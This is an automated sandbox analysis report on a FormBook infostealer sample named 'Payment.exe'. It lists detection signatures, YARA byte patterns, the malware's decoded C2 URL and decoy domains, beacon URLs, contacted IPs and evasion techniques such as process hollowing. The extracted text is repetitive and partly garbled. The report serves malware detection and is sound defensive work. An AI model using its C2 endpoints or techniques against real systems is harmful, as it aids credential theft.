
ID: 483531
Sample Name: Payment.exe
Cookbook: default.jbs
Time: 08:26:13
Date: 15/09/2021
Version: 33.0.0 White Diamond
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Windows Analysis Report Payment.exe

Overview

General Information

Sample 
Name:

Payment.exe

Analysis ID: 483531

MD5: 933cedbe56bd04…

SHA1: 9a255a7eaa2dd3…

SHA256: a57534ac7570e5…

Tags: exe Formbook

Infos:

Most interesting Screenshot:

Detection

FormBookFormBook

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.

Snort IDS alert for network traffic (e.Snort IDS alert for network traffic (e.……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBookYara detected FormBook

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3

Yara detected AntiVM3Yara detected AntiVM3

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing techSample uses process hollowing tech……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a 

Initial sample is a PE file and has a Initial sample is a PE file and has a ……

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode funModifies the prolog of user mode fun……

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd delete

Self deletion via cmd deleteSelf deletion via cmd delete

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia.NET source code contains potentia……

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proce

Injects a PE file into a foreign proceInjects a PE file into a foreign proce……

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process Queues an APC in another process ……

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization throughTries to detect virtualization through……

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in aModifies the context of a thread in a……

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware con

C2 URLs / IPs found in malware conC2 URLs / IPs found in malware con……

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE files

Uses 32bit PE filesUses 32bit PE files

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (namQueries the volume information (nam……

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature matchYara signature match

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / aFound potential string decryption / a……

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user HTTP GET or POST without a user ……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution Contains functionality for execution ……

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original Sample file is different than original ……

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resources

PE file contains strange resourcesPE file contains strange resources

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Contains functionality to detect virtu

Contains functionality to detect virtu

Contains functionality to detect virtu

Contains functionality to detect virtu

Contains functionality to detect virtu

Contains functionality to detect virtu

Contains functionality to detect virtuContains functionality to detect virtu……

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

Payment.exe (PID: 5232 cmdline: 'C:\Users\user\Desktop\Payment.exe'  MD5: 933CEDBE56BD04ACDBBB183A0004162B)

Payment.exe (PID: 1848 cmdline: C:\Users\user\Desktop\Payment.exe MD5: 933CEDBE56BD04ACDBBB183A0004162B)

Payment.exe (PID: 5352 cmdline: C:\Users\user\Desktop\Payment.exe MD5: 933CEDBE56BD04ACDBBB183A0004162B)

explorer.exe (PID: 3388 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

cscript.exe (PID: 6280 cmdline: C:\Windows\SysWOW64\cscript.exe MD5: 00D3041E47F99E48DD5FFFEDF60F6304)

cmd.exe (PID: 6500 cmdline: /c del 'C:\Users\user\Desktop\Payment.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Process Tree

Malware Configuration

Threatname: FormBook
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{

  "C2 list": [

    "www.rafaelcristino.com/pm7s/"

  ],

  "decoy": [

    "angrypeacocks.site",

    "theindependentartlable.com",

    "coachingforthewin.com",

    "localbizsc.com",

    "drive-a-supercar.com",

    "mewsette.com",

    "scinuh.com",

    "gurugramaffordablehomes.com",

    "riamedefarm.com",

    "richfitzfashions.com",

    "u9j1o.info",

    "dife-rent.com",

    "talesfromthequadrat.com",

    "dandfmotors.com",

    "springtexasdentist.com",

    "gobakala.store",

    "earlyeducationglobal.com",

    "sdrxsb.site",

    "dreamlifebiz.com",

    "theurbancaveshop.com",

    "rojkikhabar.com",

    "honeycreek-vision.com",

    "robinnicholsrealty.com",

    "orilliatownhouseteam.com",

    "ipedal.xyz",

    "ropemillcreekpaddleboarding.com",

    "monbeauchien.com",

    "achtsamkeit-in-der-schule.com",

    "towtruckperth.com",

    "shijijiaoyou.com",

    "belangespiritualstore.com",

    "gmignitionswitcheconomicset.com",

    "tracelanelog.com",

    "infiniteavionics.com",

    "kornfelder.com",

    "unnsa.xyz",

    "billonblocjs.com",

    "savingcambodia.com",

    "darienkitchens.com",

    "ecetonline.com",

    "softcenchina.com",

    "eu-global.space",

    "americajustsayit.com",

    "getverthanger.com",

    "arrowlankaexports.com",

    "xn--uds17hya4f549f40d.com",

    "btlbusinesscoaching.com",

    "aktive.net",

    "awkamga.com",

    "borostamas.com",

    "tuolum.net",

    "tnshomebuyers.com",

    "signatureperformace.com",

    "s16.solutions",

    "thethoughtrecord.com",

    "onexotyland.com",

    "deintuning.com",

    "wellrecognizewell.com",

    "rugpat.com",

    "shellieclarksonsbeautique.com",

    "cevicheatl.com",

    "usasbe.com",

    "listenonrepear.com",

    "qanoonpharmacy.com"

  ]

}

Source Rule Description Author Strings

00000007.00000000.289360000.000000000643E000.00000
040.00020000.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

Yara Overview

Memory Dumps
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Sigma Overview

00000007.00000000.289360000.000000000643E000.00000
040.00020000.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x2685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 
74 94
0x2171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x2787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x28ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x13ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x8327:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x932a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

00000007.00000000.289360000.000000000643E000.00000
040.00020000.sdmp

Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x5409:$sqlite3step: 68 34 1C 7B E1
0x551c:$sqlite3step: 68 34 1C 7B E1
0x5438:$sqlite3text: 68 38 2A 90 C5
0x555d:$sqlite3text: 68 38 2A 90 C5
0x544b:$sqlite3blob: 68 53 D8 7F 8C
0x5573:$sqlite3blob: 68 53 D8 7F 8C

00000013.00000002.476066446.0000000000800000.00000
040.00020000.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

00000013.00000002.476066446.0000000000800000.00000
040.00020000.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 24 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

6.2.Payment.exe.400000.0.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

6.2.Payment.exe.400000.0.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8ae8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8d62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x14885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x14371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x14aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x977a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x135ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa473:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1a527:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1b52a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

6.2.Payment.exe.400000.0.unpack Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x17609:$sqlite3step: 68 34 1C 7B E1
0x1771c:$sqlite3step: 68 34 1C 7B E1
0x17638:$sqlite3text: 68 38 2A 90 C5
0x1775d:$sqlite3text: 68 38 2A 90 C5
0x1764b:$sqlite3blob: 68 53 D8 7F 8C
0x17773:$sqlite3blob: 68 53 D8 7F 8C

6.2.Payment.exe.400000.0.raw.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

6.2.Payment.exe.400000.0.raw.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b327:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c32a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 1 entries

Unpacked PEs
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No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

AV Detection:

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected FormBook

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

C2 URLs / IPs found in malware configuration

E-Banking Fraud:

Yara detected FormBook

System Summary:

Malicious sample detected (through community Yara rule)

Initial sample is a PE file and has a suspicious name

Data Obfuscation:

.NET source code contains potential unpacker

Hooking and other Techniques for Hiding and Protection:

Modifies the prolog of user mode functions (user mode inline hooks)

Self deletion via cmd delete

Malware Analysis System Evasion:

Yara detected AntiVM3

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Sample uses process hollowing technique

Maps a DLL or memory area into another process

Injects a PE file into a foreign processes

Queues an APC in another process (thread injection)

Modifies the context of a thread in another process (thread injection)
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Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Valid
Accounts

Shared
Modules 1

Path
Interception

Process
Injection 6 1 2

Rootkit 1 Credential
API
Hooking 1

Security Software
Discovery 2 2 1

Remote
Services

Credential
API
Hooking 1

Exfiltration
Over Other
Network
Medium

Encrypted
Channel 1

Eavesdrop on
Insecure
Network
Communication

Default
Accounts

Scheduled
Task/Job

Boot or
Logon
Initialization
Scripts

Boot or Logon
Initialization
Scripts

Masquerading 1 LSASS
Memory

Process Discovery 2 Remote
Desktop
Protocol

Archive
Collected
Data 1 1

Exfiltration
Over
Bluetooth

Ingress Tool
Transfer 1

Exploit SS7 to
Redirect Phone
Calls/SMS

Domain
Accounts

At (Linux) Logon Script
(Windows)

Logon Script
(Windows)

Disable or Modify
Tools 1

Security
Account
Manager

Virtualization/Sandbox
Evasion 4 1

SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

Non-
Application
Layer
Protocol 2

Exploit SS7 to
Track Device
Location

Local
Accounts

At
(Windows)

Logon Script
(Mac)

Logon Script
(Mac)

Virtualization/Sandbox
Evasion 4 1

NTDS Remote System
Discovery 1

Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Application
Layer
Protocol 1 2

SIM Card
Swap

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Process
Injection 6 1 2

LSA
Secrets

System Information
Discovery 1 1 2

SSH Keylogging Data
Transfer
Size Limits

Fallback
Channels

Manipulate
Device
Communication

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Deobfuscate/Decode
Files or
Information 1 1

Cached
Domain
Credentials

System Owner/User
Discovery

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

Jamming or
Denial of
Service

External
Remote
Services

Scheduled
Task

Startup
Items

Startup Items Obfuscated Files or
Information 3

DCSync Network Sniffing Windows
Remote
Management

Web Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly
Used Port

Rogue Wi-Fi
Access Points

Drive-by
Compromise

Command
and
Scripting
Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

Software
Packing 1 3

Proc
Filesystem

Network Service
Scanning

Shared
Webroot

Credential
API
Hooking

Exfiltration
Over
Symmetric
Encrypted
Non-C2
Protocol

Application
Layer Protocol

Downgrade to
Insecure
Protocols

Exploit
Public-
Facing
Application

PowerShell At (Linux) At (Linux) File Deletion 1 /etc/passwd
and
/etc/shadow

System Network
Connections
Discovery

Software
Deployment
Tools

Data
Staged

Exfiltration
Over
Asymmetric
Encrypted
Non-C2
Protocol

Web Protocols Rogue Cellular
Base Station

Behavior Graph
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Behavior Graph
ID: 483531

Sample: Payment.exe

Startdate: 15/09/2021

Architecture: WINDOWS

Score: 100

Snort IDS alert for
network traffic (e.g.

based on Emerging Threat
rules)

Found malware configuration
Malicious sample detected
(through community Yara

rule)
8 other signatures

Payment.exe

3

        started       

C:\Users\user\AppData\...\Payment.exe.log, ASCII

dropped

Tries to detect virtualization
through RDTSC time measurements

Injects a PE file into
a foreign processes

Payment.exe

        started       

Payment.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Sample uses process
hollowing technique

Queues an APC in another
process (thread injection)

explorer.exe

injected

www.cevicheatl.com

91.195.240.94, 49807, 80

SEDO-ASDE

Germany

www.earlyeducationglobal.com

earlyeducationglobal.com

34.98.99.30, 49812, 80

GOOGLEUS

United States

System process connects
to network (likely due
to code injection or

exploit)

cscript.exe

        started       

Self deletion via cmd
delete

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Tries to detect virtualization
through RDTSC time measurements

cmd.exe

1

        started       

conhost.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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Source Detection Scanner Label Link

Payment.exe 53% Virustotal Browse

Payment.exe 31% Metadefender Browse

Payment.exe 68% ReversingLabs Win32.Trojan.AgentTesla

No Antivirus matches

Source Detection Scanner Label Link Download

6.2.Payment.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

No Antivirus matches

Source Detection Scanner Label Link

www.rafaelcristino.com/pm7s/ 0% Avira URL Cloud safe

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs
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https://www.virustotal.com/gui/file/a57534ac7570e5be7e25f1c0d9745dc549d56b193ed7b1547e61ae79485edc1c/detection/f-a57534ac7570e5be7e25f1c0d9745dc549d56b193ed7b1547e61ae79485edc1c-1631687138
https://www.metadefender.com/#!/results/file/YnpJeE1Ea3hOV2RLTVVoMFQyNUtaZ3dVakJ4ejlrVW4/regular/analysis


General Information

Joe Sandbox Version: 33.0.0 White Diamond

Analysis ID: 483531

Start date: 15.09.2021

Start time: 08:26:13

Joe Sandbox Product: CloudBasic

www.founder.com.cn/cn/bThe 0% URL Reputation safe

www.tiro.com 0% URL Reputation safe

www.goodfont.co.kr 0% URL Reputation safe

www.carterandcone.coml 0% URL Reputation safe

www.sajatypeworks.com 0% URL Reputation safe

www.typography.netD 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.cevicheatl.com/pm7s/?v2J83=dDHD9XVxev94&-
Zi=VaPpcx8n3Tp8D9xgbNtl8vulXgBvw8jFIvpULVCQhIlh0W4Hjuc6qrQSfYpFlZollCUL

0% Avira URL Cloud safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

www.founder.com.cn/cn 0% URL Reputation safe

www.jiyu-kobo.co.jp/ 0% URL Reputation safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.earlyeducationglobal.com/pm7s/?-
Zi=lvCYA3THHwf3zrDy6Hq/UQWt6LGRVtHVYfKCQGlaiZ/7JUYV8wEH0lTBDrKh23L7whpy&v2J83=dDH
D9XVxev94

0% Avira URL Cloud safe

www.sandoll.co.kr 0% URL Reputation safe

www.urwpp.deDPlease 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.sakkal.com 0% URL Reputation safe

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

www.cevicheatl.com 91.195.240.94 true true unknown

earlyeducationglobal.com 34.98.99.30 true false unknown

www.earlyeducationglobal.com unknown unknown true unknown

Name Malicious Antivirus Detection Reputation

www.rafaelcristino.com/pm7s/ true Avira URL Cloud: safe low

www.cevicheatl.com/pm7s/?v2J83=dDHD9XVxev94&-
Zi=VaPpcx8n3Tp8D9xgbNtl8vulXgBvw8jFIvpULVCQhIlh0W4Hjuc6qrQSfYpFlZollCUL

true Avira URL Cloud: safe unknown

www.earlyeducationglobal.com/pm7s/?-
Zi=lvCYA3THHwf3zrDy6Hq/UQWt6LGRVtHVYfKCQGlaiZ/7JUYV8wEH0lTBDrKh23L7whpy&v
2J83=dDHD9XVxev94

false Avira URL Cloud: safe unknown

IP Domain Country Flag ASN ASN Name Malicious

91.195.240.94 www.cevicheatl.com Germany 47846 SEDO-ASDE true

34.98.99.30 earlyeducationglobal.com United States 15169 GOOGLEUS false

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public
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Overall analysis duration: 0h 11m 18s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Payment.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

30

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.evad.winEXE@9/1@2/2

EGA Information: Failed

HDC Information: Successful, ratio: 6.5% (good quality ratio 5.7%)
Quality average: 72.2%
Quality standard deviation: 32.9%

HCA Information: Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: .exe

Warnings:

Time Type Description

08:27:14 API Interceptor 1x Sleep call for process: Payment.exe modified

Match Associated Sample Name / URL SHA 256 Detection Link Context

91.195.240.94 pronto per il pagamento.exe Get hash malicious Browse  www.kosha
2030.com/cb3b/?
hV2=r
qbUo6j2Kmh
lDLlvmj6v6
0cfZ8/2Wb9
u+KYnQWuAI
noB2FLYYFx
1yPNzvLEIu
H4s1sVu&2d
_HDh=b4KXx
R6XiV5lmHh0

Show All

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs
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https://view.joesandbox.com/analysis/379154/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379154/html/none?idtype=webid


PO-PT. Hextar-Sept21.xlsx Get hash malicious Browse  www.garfl
d.com/imi7/?
bVx=AFMv
owp2dypQPp
LZR6/sAbLa
aLiFVzdlH2
gx+8GSqBhO
mfQ8NBa2Gd
B0GH1Hzk2p
vxNNYQ==&N
x=8pFdqHyxnZUl

P.O100%uFFFDpayment.doc__.rtf Get hash malicious Browse  www.cis-t
hailand.co
m/crg3/?9r
WP=SnroaQg
sYxMLiTImv
CpI1Gl07kg
1+3LZiriLg
RT6WM6KSYr
us5bHWYAPs
UyD9HyCzSS
3+w==&wTcH
Gb=ylr8U6ypj

Quotation Required Details.exe Get hash malicious Browse  www.promo
splace.com
/p4se/?l2M
dnb=g+K9AO
IBn0/VHfOv
Eruut/gc0u
ElQ8afuAuU
P1bYE2eC/P
WXrO3ELwGM
R3TL6eUTg0
Vn&fFQL=6l
ZPcVbxGH

DUE INVOICES.exe Get hash malicious Browse  www.mgm23
48543.com/
b6cu/?R2MD
6=dqsOYsWQ
q+FTU42PaO
7UsXHrG00v
cvVIPPyHFA
mVRXCpjYXs
aNa58d0J7f
meqANspZbM
&BT=2dhhnf
vPB6f8zBxp

Order_confirmation_ SMKT 09062021_.exe Get hash malicious Browse  www.preak
ed.com/h2m4/?
2d=HxKW
zMaF1BWGIa
YUxE2WWBBl
lJBIGc2hs3
LD5EFS7XDw
0kpNhCyQgm
CJtlxKKPUp
l4+d&D2MH9
=9rWdhfN8M

nFzJnfmTNh.exe Get hash malicious Browse  www.mgm23
48543.com/
b6cu/?aT=j
vQLaT&MD=d
qsOYsWQq+F
TU42PaO7Us
XHrG00vcvV
IPPyHFAmVR
XCpjYXsaNa
58d0J7cGOl
hdU38yL

0039234_00533MXS2.exe Get hash malicious Browse  www.dandh
gh.com/m64e/?
H2MDD=h
QTNvBW47KQ
9P36N1I31K
6xMq6TLiyT
boYpfo/Bbm
9l3Z3kS2jz
EmMODUoxri
uOWTqDJ&Dx
oLn=7nU4v4
ghr2A8WLZ

Match Associated Sample Name / URL SHA 256 Detection Link Context

Copyright Joe Security LLC 2021 Page 13 of 23

https://view.joesandbox.com/analysis/378715/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378715/html/none?idtype=webid
https://view.joesandbox.com/analysis/378691/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378691/html/none?idtype=webid
https://view.joesandbox.com/analysis/378198/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378198/html/none?idtype=webid
https://view.joesandbox.com/analysis/375804/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375804/html/none?idtype=webid
https://view.joesandbox.com/analysis/375586/html/none?idtype=webid#static
